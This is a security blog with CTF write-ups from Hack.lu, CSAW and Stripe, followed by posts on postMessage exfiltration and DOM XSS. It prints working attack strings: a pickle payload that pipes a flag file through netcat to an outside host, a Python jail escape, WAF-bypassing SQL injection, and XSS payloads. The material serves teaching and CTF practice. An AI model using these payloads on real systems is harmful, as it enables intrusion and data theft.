Thursday, October 25, 2012

Hack.lu CTF 2012: Multiple Writeups

This week, I participated in the hack.lu ctf. Here are writeups of the challenges I played.

Zombie AV

In this challenge, you're presented a service that scans executables for a certain set of instructions ("the zombie virus"). If it's found in an executable you upload, the server runs it. Seems easy enough. Here's the catch: the instructions have to appear starting at the entry point of the executable, and the last instruction is an int 0x80. This a system call that exits the process, which essentially prevents any useful code from running.

The flaw here is how the entry point is discovered. The command readelf is run by the scanner, and the entry point is parsed using the regular expression /0x[a-fA-F0-9]{5,8}/. So now we know in order to trick the scanner, we have to make readelf report another address that matches the regex. We can do that using the "version" field.
One way to achieve this is to use a hex editor and change 0x1 to the address of the zombie virus. This way, the scanner thinks the virus appears at the entry point, but the real entry point is our code, which reads out config.php. Here's my code:
nasm -f elf hello.asm
gcc -o hello hello.o -nostartfiles

It's not scientific without LaTeX

Another straightforward challenge. You're given a text editor that creates documents through latex input. Your goal is to read a textfile off the server that contains some cure. Sounds like ye olde file inclusion to me. Certain file reading latex commands would cause the pdf to read "Do you think this is really that easy?" so a part of the challenge was finding one that would actually work. I used \verbatiminput but couldn't fully read the key, as it went off screen.
I ended up messing around with the syntax, until something broke. The error message contained the contents of the file and I was set.

Spambot

Here, you're given access to a spambot which can break basic spam techniques that rely on math formulas. The goal is to break the spambot and retrieve a key. This one is fairly easy to solve once you realize it solves captchas by eval()ing them, and hoping it's a formula. We can confirm this by writing our own form and see what we get from the bot.
Once we have code execution, we can navigate the system to find the key.

Zombie Reminder

This was a pretty straightforward challenge. There's a form that stores your input and makes it available for the duration of your session. After a quick once-over of the source code, there are two obvious things: data from the client is verified via a MAC; that data once verified, is sent through Pickle. For those who don't know, pickle is pretty much python's take on serializing. If done unsafely, it could lead to code execution. And that's the challenge here.

Before we can even attempt getting code execution, we need to figure out the secret key used to generate the sha256 MAC. From the code, we can see this is just a 5 character combination of random alphanumeric characters. This is trivial to bruteforce locally. After figuring out the secret, we can sign our own cookie values and send arbitrary pickles!!
Now let's get our code running. The function I pickled was os.system() so I'd be able to run system commands. I ran into a problem though; os.system() doesn't return the output of the commands, and I couldn't get popen working. I used a pretty cheap trick to get that output. Here's my pickle:
cos\nsystem\n(S'cat /var/www/flag | nc omar.li 9837'\ntR.
What this does is pipe the output of any command into a socket running on my server. So although the page wouldn't display the output of my command, my server would receive it anyway.

Python Jail

Here, you're given a "jailed" python interpreter. All functions that would be useful to us to break out of the jail are removed from the global namespace: __import__, open, file, etc. How can we read a file if these are not available to us? My first attempt was to try get the jail to execute python bytecode. After achieving this, I realized how useless this was. Python bytecode is so high level that even with it, you cannot do anything more than what you could achieve by writing code directly.

The trick is to navigate the built in objects. Using dir(), we can navigate around until we find something that lets us read a file. We can use the "object" object and to obtain a list of its subtypes, of which includes the "file" object.
object.__subclasses__()[40]("key.txt").read()
From this, we can see that just because something is removed from the global namespace, it does not mean it is inaccessible.

Conclusion

This was a pretty fun ctf. Although this was a relatively short ctf, the challenges were pretty interesting. A++++ 12/10 would play again.

Related Links

Why Python Pickle is Insecure
Eval really is dangerous
Are Text-Only Data Formats Safe? [PDF]

Sunday, September 30, 2012

CSAW CTF Web 300 Writeup

This time around, I'd written a challenge for CSAW CTF. There were 32 challenges, in all sorts of topics such as Web, Reversing, Exploitation, etc. The challenge I wrote was the 300 point Web challenge, HorseForce.

Walkthrough

From the start, you're given an account to this website and a task: obtain administrative access. After logging in, you are presented with a few pages: news, users, horses. Finding the vulnerability was the easiest task. With mysql errors being printed to screen, all you had to do was throw a quote in every parameter.

However, proceeding with the typical "-1 union select 1,2,3--" reveals the next hurdle: the Web Application Firewall. From a bit of fuzzing by hand, it's trivial to figure out that the firewall only detects attacks when using words like "union" and "select". But how do you perform a SQL injection without these basic keywords? Some ideas are (double)url-encoding the query, using comments, or swapping case. The filter was a little smarter than that (just a little) so these tricks wouldn't work. The real goal of this challenge is to realize that there are two "separate" processes: a firewall, and a vulnerable application. Would it be possible to make the firewall see one thing, and the application another? The answer is yes.

There are many techniques to bypass a Web Application Firewall. The specific flaw in this firewall was one of Impedance Mismatch (ie: firewall and application see data differently), and more specifically, HTTP Parameter Pollution. I have links to a relevant presentation at the end of the post. Big words aside, the trick here is that the firewall scans only the first occurrence of a parameter with the same name, whereas the application only reads the last occurrence. This allows us to finally run a successful query by making a request to the following:
/horse.php?id=1&id=-1 union select 1,2,3,4--
This request ends up evading the firewall. The firewall sees "id=1" while the application sees "id=-1 union select 1,2,3,4--". Everyone is happy! Now let's dump the database.
And it's bcrypt! Before I go on, let me tell you that any CTF challenge that requires you to crack a hash is a really bad one. Okay, so cracking the password is out of the picture. And we can't use the hash to log in. Now what? After running through the database, you should have come across a database called "sessions". From this point on, all you needed to do was steal an active session belonging to the administrator from the database, and modify your cookie to reflect that session. And you're in!

Mistakes

My biggest mistake was the logic in the firewall. Because I had to write the firewall myself, I had to parse the querystring on my own. And everyone knows parsing things on your own leads to bugs. This challenge was no exception. My firewall detection function ran through every key value pair in the querystring. The bug was that any pair containing more than one "=" was automatically ignored. This led to a lot of unintentional evasion through queries such as
/horse.php?id=-1 or 1=1 union select 1,2,3,4--
The "1=1" is something I hadn't accounted for, but is a very common part of many SQL injection payloads. Because it was so common, many people ended up bypassing the firewall unintentionally. Grepping through the access logs shows around 150~ish people having solved it this way. I did end up patching this bug, however. I felt that although the people who solved it before the patch didn't do it the way I would have liked, they still achieved the same goal of defeating the firewall.

Final Thoughts

I kind of liked this challenge. And I'm not saying that because I wrote it. I tried my best to make this pretty realistic; everything used in this challenge (firewall evasion, strong hashing functions, session stealing) is something I've come across at one point or another in my experiences.

Too many people took the brute forcing approach. Some bruteforced the login, while some used tools such as DirBuster to enumerate files. I ended up blocking all traffic from these IP addresses as not only did they approach this challenge completely incorrectly, they made monitoring the challenge difficult. There was also a ton of traffic from tools such as SQLMap and Havij but I let these go as they were more relevant to the challenge.

Resources

Protocol-Level Evasion of Web Application Firewalls
This post cross-posted to the isis blogs

Wednesday, August 29, 2012

Stripe CTF Writeup

This week, I participated in Stripe CTF. What's different about this CTF is that it focused solely on web vulnerabilities. I'll be going over the challenges and my solutions.

Level 0

Level 0 was probably as basic as SQL injections get. So basic that it's not even really "injection" so much as "unexpected behavior." The application takes input, and performs a SELECT using LIKE. We can specify a wildcard statement for sql, %, and see everything in the table.


Level 1

This level basically reintroduces an old issue with PHP - register_globals - but with a more obvious function call, extract(). What this function call does is take GET parameters and store each one in its own variable in the global scope. This allows us to overwrite any variables that have been set before the extract(). In our case, we will be overwriting $filename and point it to a file that doesn't exist. We can now compare an empty "attempt" variable to the contents of a nonexistent file, and read the password.


Level 2

This is another basic vulnerability, which can be exploited like any other upload form that doesn't check files. All we need to do is upload a PHP file that reads the contents of the password file to us. In later levels, the code execution here becomes really helpful.

Level 3

Another straight forward SQL injection. This isn't the typical SQL injection, however. When I first approached this challenge, I noticed right away that I could read data using a blind SQL injection. Half way through retrieving the hash, I realized I'd be wasting my time. First of all, that would mean having to brute force a hash, which would have made for a really lame challenge. Secondly, the secret isn't even stored in the database.

I then realized - if I'm not cracking the hash, can I replace the hash that they're checking? The answer is yes. My final query was as follows:
bob' union select "3","4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8","1" from users limit 1,2 --
This set my id to 3, and gave me a hash of a password I knew. ("1")

Level 4

This was a weird level. You're given a site where your password is displayed to everyone who you send "karma". The goal of this challenge is to get karma_fountain's password, presumably through it sending you karma.

I took the wrong approach at first. Examining the cookies, I noticed a base64'd blob of text, one of which contained my username. I also noticed logging out didn't prevent your cookie from working, so I assumed modifying the cookie would be the challenge. I quickly realized the sha1 hash in the cookie was the hmac and that I was definitely going the wrong way.

Eventually after playing around with the inputs a bit, I noticed my password could have XSS. Normally, I wouldn't care, but here, our password gets shown to whoever we want! This would be the best way to get karma_fountain to send us something. I started off using the typical script tag containing a url with my payload. After a few minutes of no traffic to that page, I noticed in the description that the firewall permits connections to only stripe-ctf servers. I just changed my payload from pointing to an external JS file, to actually containing the code. This worked, and I managed to get karma_fountain to send me some karma. And its password.

One really big hint was that jquery was on every page, though it was never used.

[insert screenshot]

Level 5

This was a pretty fun level, considering the method I used was not the expected way. I'll go over the way I used since there will probably be writeups of the "correct" method anyway. The method has since been patched. (People probably reported it...)

This level use Rack, a session management library for Sinatra, a webserver written in ruby. This is the same setup used in level 4. Except here, I managed to trigger some very revealing Tracebacks. While playing around with inputs in an attempt to bypass authentication, I noticed certain symbols (in my case, "$") would cause Sinatra to throw a URI::InvalidURIError exception.
This exception was pretty nice. Not only did it help me understand was going on, it also showed me the secret used to sign the cookies! This secret is typically stored privately (in our case, entropy.dat) but the traceback shows it anyway.
Simply enough, I used this opportunity to modify my cookie such that "auth_host" pointed to a level5 stripe-ctf server. I then signed my cookie using the newly available secret (which was in some weird ruby "octal" format) and got the password for the next challenge. I later solved this challenge via the intended method but it wasn't as satisfying...

Level 6

Meh. This was really the same as level 4, just with more restrictions. This time, the password was on a different page, anything with quotes would trigger a server error, and the vulnerable parameter was the username - not the password. I solved this level using basic javascript obfuscation, namely String.fromCharCode and regex*.

Also worth noting, the message fields were not sanitized in the server side. This meant viewing the source would show that XSS is possible through messages, but in reality it is not because there is a javascript function which uses jQuery to encode all HTML.

* Did you know that /etc/.source is equal to "etc" as a string? Easy to use and no need to memorize ASCII character codes.
Note: The attack I used in the previous level would have worked here as well.

Level 7

This level is really easy if you know the type of vulnerability involved. The first clue was that you could view anyone's API access logs, whether or not you were logged in as them. The second clue was the API signing method - plain old sha1. If you know anything about using a MAC to sign requests, then you'll recognize this is a classic hash length extension vulnerability. A hash length extension attack basically allows us to use a known value and its hash to append our own data and calculate a new, valid hash. A long time ago, flickr had this vulnerability in its API when it used md5 to sign requests. [PDF]

After reading the source, it's clear that if there are parameters with the same name, the last one takes priority. This is the key detail in making our length extension attack work, as we can only append data to the data we already have. The first step is to obtain a working request made by someone who can purchase premium waffles.
To test this out, we can replay this request and confirm that we can indeed purchase premium waffles. However, we want a liege waffle. We can tack on "&waffle=liege&lat=1&long=1" to the request, and now we have a liege waffle to be sent to 1, 1. But wait! Our signature doesn't match any more. Using a length extension attack, we can use the existing signature and request body, we can create a new request body with a new signature, all without the owner's secret. There are many scripts available to perform length extension attacks on sha1 so I will leave that out. We now have a liege waffle order, with a signature that matches. We win!



One problem I ran into was url encoding. I had url encoded the non printable bytes in my extended hash, which kept causing the server to throw errors. After decoding these bytes in Burp, my requests were working fine again. Another issue is that I made the assumption that the key length was 14 simply because my secret was 14 characters. Although rare, providing different length secrets would not make the challenge any harder, just slightly more time consuming. And by "more time consuming" I mean "5 more minutes."

Level 8

This was a particularly tricky level. Unlike the other levels, this one actually requires you to set up a local version of the challenge or else you'd miss everything.

First, a brief description. There are five servers - one primary server, and four chunk servers. The password (12 characters) is split into 4 chunks, and the primary server goes one by one verifying that your chunks are correct. You do not have direct access to any chunk servers, and the only output you really have is true or false. There are also "webhooks" which is just a fancy term for an http callback url, which is POSTed to if your password is correct or not. Timing attacks are hindered by calculated sleep() calls. The challenge is to retrieve the password, without having to brute force the entire keyspace, 10^12, which would take forever anyway. How can we retrieve the password in a timely manner if we can't verify our chunks separately?

Running the server, I noticed if I submitted a password, not all chunks were necessarily verified. I saw that if I submitted a password with the first two chunks correct, then the first three chunk servers would be contacted, and would respond with true true and false, respectively. The fourth chunk server was never contacted. If I submitted a password with only the first chunk correct, then the first two chunk servers would be contacted, and would respond with true and false, respectively. Now we know how to verify parts of our password. But wait - this doesn't work in production because we don't have access to the debug logs which show which chunk servers were contacted. A timing attack would have worked, if it were not for the sleep calls.

What we need are webhooks. Webhooks don't receive anything but true or false, but we do have some useful data - remote port. If we monitor the value of remote port of consecutive requests, we can actually determine how many requests the server had made in the mean time! More specifically, we can see how many chunk server requests were made. Earlier, I pointed out that a password with 2/4 correct chunks would mean 3 requests. With this data, we can conclude that if we have 2/4 correct chunks in our password, the next remote port in our webhook should increase by 3! By being able to confirm one chunk at a time through measuring the number of requests made, we can cut down a typical full keyspace brute force of 10^12 down to 4*10^3! That's a 250000000x decrease!!!!!

Now that we know what we want to do, we need to get ssh access. If you recall, we have code execution on a level2 machine from earlier. We were also told there is an sshd running on the machine. If you check out the sshd_config, you'll see the only way to log in is via public key authentication. To use this, we have to generate an rsa keypair using ssh-keygen, and place the public key into the ~/.ssh/authorized_hosts file.

Once on the machine, we can use a script to brute force chunks while monitoring the remote port. This becomes difficult once you have hundreds of people on the same machine. Not impossible though - we just need to be clever. As I stated earlier, 1 correct chunk means an increase of 3. With many people connecting to the server, a correct (or incorrect) chunk may lead to an even higher increase. Many people performed statistics, used histograms, etc to determine if their chunk was correct. I instead relied on something that was guaranteed - if our first chunk leads to only 2 requests being made, then we can actually guarantee the chunk was incorrect. Anything greater, and we risk false positives due to other users. I ran my code multiple times, eliminating any value that is guaranteed to be wrong, until there was just one left. I did this for the first three chunks. For the final chunk, I just submitted my code over and over until I saw "success: true".

To sum it all up:
  1. Get SSH access by uploading your public key.
  2. Brute force one chunk at a time, by measuring the number of total requests made to chunk servers.
  3. Brute force the final chunk using the regular JSON endpoint.
  4. ???
  5. Profit!
My code for this solution can be found on github.



Conclusion

This was an interesting CTF. I liked the challenges because a strong background in security was not necessary to participate - anyone with decent programming skills could beat most of these challenges. I think that makes for a CTF that ends up being too easy, however. Most of the challenges were unrealistic, and the only reason the last 2 challenges were even included in this web CTF is because HTTP is the underlying protocols. Still a decent CTF, and as always, there are still things to learn.

Something Extra

Nothing particularly special, but I had found an XSS in the web interface. I was not the only one apparently, as the bug had already been patched when I reported it. Basically the regex used to validate the profile URL was really loose - anything was allowed as long as it contained a URL in it. I was able to submit a url as
javascript:alert('anything'/* http://www.url.com/ */)
and it would work. If you clicked my username, the alert would have gone off.

Sunday, June 3, 2012

Exfiltration using postMessage

What is postMessage? postMessage is a new API available as part of the HTML 5 spec, which allows for communication between two documents, regardless of the Same-Origin Policy. These documents can be either iframes or different windows. Several features of postMessage exist to make this communication safer, such as the ability to specify target hosts for messages. Improper use of postMessage opens up a new class of vulnerabilities, but this has already been discussed extensively. [PDF] Instead, I will be discussing postMessage as a technique for exfiltration, useful for when an exploitable XSS vulnerability has been found.

Why postMessage?

Using postMessage has several benefits. The most obvious, and intended benefit, is the ability to communicate between documents of different origins. This communication does not have to touch the network. This allows us to write a minimal payload which can retrieve a more complex payload from the other document - the server will never see it. Another benefit is the ability to exfiltrate entire pages, which lets us parse data offsite or use the data how ever we wish. In the typical exploitation approach, we would have to include all the code to retrieve and parse data in our payload. In short, we can use postMessage to construct a very small and discreet payload which allows us to do much more.

The Scenarios

Because postMessage relies on communication between multiple documents, we have a few scenarios we can work with. In the first scenario, we write an iframe to the victim and start our communication from there. In the second scenario, this is reversed - we iframe the victim from a page we control. Although these scenarios are similar, there are a few nuances which, depending on the situation, can make one better than the other. There is one final scenario, which involves opening a new window to the victim page. It is worth noting that the location of the iframe does not matter, as a full two-way communication will always be possible. For these examples, I will be using a basic reflected XSS vulnerability.

Scenario One: Place an iframe to your page on the victim


A payload for this might look like this:
This payload behaves similarly to a remote shell in that we can get the victim to execute code passed to it over a hidden channel. To receive data, we would have to set up an event listener on attacker.com, and listen for messages from window.top, which will be the victim page.

Here is another payload, but this time without the ability to execute commands dynamically: What this does is send the contents of the current page to the attacker frame. An id needs to be specified, so we know where to send the data. We can retrieve other pages using XHR as well - I used this as an example in the next scenario.

Advantage:
Bypasses any limitations specified by X-Frame-Options.

Disadvantage:
Attacker url becomes visible to victim.

Scenario Two: Iframe the victim on your website


A payload for this might look like this: (with this url in an iframe, of course)
What this would do is send the entire current page up to whoever is iframing this page. This is a small payload which allows us to grab as much data as possible. We don't even have to be limited to the current page - we can be more creative and use XMLHttpRequest to retrieve even more pages for us, and send the contents of those as well. Here is a simple payload which achieves this:
Now we can retrieve as many pages as we want and read all the data.

Advantages:
  • We can be a bit stealthy with our payload.
    • Setting the targetOrigin as '*' gives no information as to where postMessage will be sending the data, or what is being done with it.
    • Normally, the referer would leak to the iframe, and our url will be found out. We can get around this - the HTTP spec states that the referer must be removed from any request to an HTTP url from an HTTPS url. By using HTTPS on the framing page, and HTTP on the victim page (or the other way around), we will have removed the referer.
Disadvantage:
X-Frame-Options completely kills our ability to iframe the victim and any attempts to communicate with it.

Scenario Three: Open a new window to the victim page


With postMessage, we are not limited to just iframes. Opening new windows is a completely legitimate method for communication using postMessage. An example is the following:
Attacker's Page: Here, we open a page to the vulnerable page, have them eval() code that sends us the current page.

Advantages:
  • No iframes. (matter of personal preference)
  • Can be made stealthy in the same ways as scenario two.
  • Bypasses X-Frame-Options limitations.

Disadvantages:
Popups gather a lot of attention, and are easily foiled by popup blockers.

More Payload Examples

Some of these examples are assuming you are using an iframe. If you aren't, simply substitute "window.top" with your other document.

postMessage a relative path, and this payload will reply with the contents of that page: Basic example, sends you the victim's cookie:
Remote shell style payload. Send some javascript code, and it'll run on the victim:

Thoughts

Over all, postMessage makes exfiltration an easy task, and can be used to hide our actions and intentions in a way that typical payloads do not allow for. There is also a lot of room to be creative when it comes to using postMessage; the payloads I have used as examples are by no means an exhaustive list. Most of the code I used here can be compressed and simplified a bit, since this was not my main goal.

Although out of the scope of this post, postMessage can be used similarly to do much more than exfiltrate data (bypassing CSRF protections comes to mind).

Further Reading

http://lists.w3.org/Archives/Public/public-web-security/2011Dec/0020.html
http://www.cs.berkeley.edu/~devdatta/papers/w2sp10-primitives.pdf
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html#web-messaging
https://developer.mozilla.org/en/DOM/window.postMessage

Saturday, May 26, 2012

An overview of DOM XSS

DOM XSS is similar to normal XSS in that untrusted data from the client does not get sanitized before being displayed. The big difference, however, is where the vulnerability occurs. Traditional XSS occurs when server-side code attempts to modify the DOM, but fails to keep out malicious code. DOM XSS is similar, but the failure to stop malicious code happens client-side, usually due to improper use of javascript libraries meant to manipulate the DOM. There are plenty of other differences, and a number of reasons why DOM XSS can be more harmful than traditional XSS.

How does DOM XSS occur?

Like in any programming language, there exist functions which can be used unsafely and introduce bugs. One common occurrence in javascript is creating an element with some attribute containing data supplied by the user. Like in traditional XSS, if there is no filtering, it is trivial to break out of the attribute and insert our own, or even begin adding our own elements entirely.

Take for example jQuery: jQuery is a javascript library that simplifies HTML manipulation, ajax, etc. It makes dealing with HTML so easy, it's not surprising people can overlook DOM XSS. jQuery has something called a selector which makes finding elements on a page much easier (think of a more robust version of document.getElementById). It has a lesser known side-effect; if the element you're searching for doesn't exist, jQuery will actually create it for you. Combined with user input, it's easy to see how DOM XSS can happen.

Code Examples

Example 1: Here's an actual piece of code I have seen before illustrating this point:
    hash = location.hash.substring(1);
    if (!$('a[name|="' + hash + '"]')[0]) {
        // not important
    }
In javascript, location.hash.substring(1) contains all the data after the "#" (fragment identifier) in the URL. So /example.html#hashtag would have a value of "hashtag." We can see that with jQuery's selector, we are searching for an <a> tag with a name of the value in the hashtag. This looks harmless, until we try breaking out of the selector's syntax, and insert a tag of our own. One of the more obvious things to try out would be setting hash to
    " <script>alert(1)</script>
This will not work. This is because although we managed to create a script tag, it wasn't appended to the DOM yet. Let's try something a little less obvious:
    " <img src=nonexistent onerror=alert(1)>
This will cause an alert. There are minor differences from the previous payload in the ordering of elements and which events execute after being created, but that's another story for another day. More importantly, we have just achieved javascript execution through a seemingly harmless if-exists statement.

Example 2: A similar real-world example, but no external libraries this time:
    button.onclick = function(e) {
        minimum.innerHTML = parameters.minimum;
        maximum.innerHTML = parameters.maximum;
    }
The DOM XSS vulnerability occurs with the .innerHTML. In this context, "parameters" is an object constructed from the GET request. What's special about this example is that the GET parameters were completely sanitized on the server-side - all HTML stripped and casted into integers. The catch here was that the same sanitization did not occur on the client-side. Because the minimum and maximum values were taken from the querystring and used blindly, we could insert our own HTML, and it would have been inserted into the DOM. By looking at the server-side code alone, we would have never known.

Finding DOM XSS

When looking at DOM XSS vulnerabilities, there is usually a list of recurring features. Some of these include functions being used improperly, or browser-supplied data that is assumed to be cleaned. I've assembled a list of things to watch out for, which can make static analysis a little easier.

Insecure Inputs
  • document.URL *
  • document.location.pathname *
  • document.location.href *
  • document.location.search *
  • document.location.hash
  • document.referrer *
  • window.name
  • document.cookie
Most of the document.* variables can be accessed through the window object as well. The * indicates the value is urlencoded; the script usually must urldecode these values before a vulnerability can be introduced.

Insecure creation/modification of html elements
  • Modifying .innerHTML, .outerHTML
  • createElement
  • document.write/document.writeln
  • jQuery's selector, $()
  • jQuery's .html() function

Functions which evaluate strings as code
  • eval
  • execScript
  • setTimeout/setInterval
  • location.replace/location.assign
  • Anything that modifies src attributes of <script> tags
  • Anything that modifies event handlers
Like with server-side code, anything that executes code from user input is a big red flag, and is worth investigating.

Why DOM XSS can be more dangerous than traditional XSS

  1. DOM XSS can occur anywhere that javascript executes on a page.
    • This gives more flexibility in avoiding detection from a WAF, etc. For example, a common location for DOM XSS payloads is the fragment identifier (everything after # in a URL). This is a good spot for a payload, as the fragment identifier is never sent to the server.
  2. Anti-XSS filters built into browsers become ineffective.
    • DOM XSS is similar to reflected XSS, but is not easily detectable as payloads are not directly reflected into the source, but instead are part of the javascript logic.
  3. More room for vulnerabilities.
    • The parts of the HTTP request (namely the POST/GET parameters) are no longer the main targets. As mentioned earlier, DOM XSS can occur anywhere that javascript executes. This means any element on the page which has a javascript associated with it is a viable target.
  4. It has to work.
    • There are cases where traditional reflected or stored XSS exist but payloads cannot run, for example, due to a Content Security Policy header. This is not the case for DOM XSS. This is because the same policies which allow the safe javascript to run also apply to the exploit.

Further Reading

https://www.owasp.org/index.php/DOM_Based_XSS
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
http://www.webappsec.org/projects/articles/071105.html
http://www.acunetix.com/blog/web-security-zone/articles/dom-xss/
http://blog.watchfire.com/wfblog/2008/06/javascript-code.html
http://code.google.com/p/domxsswiki/w/list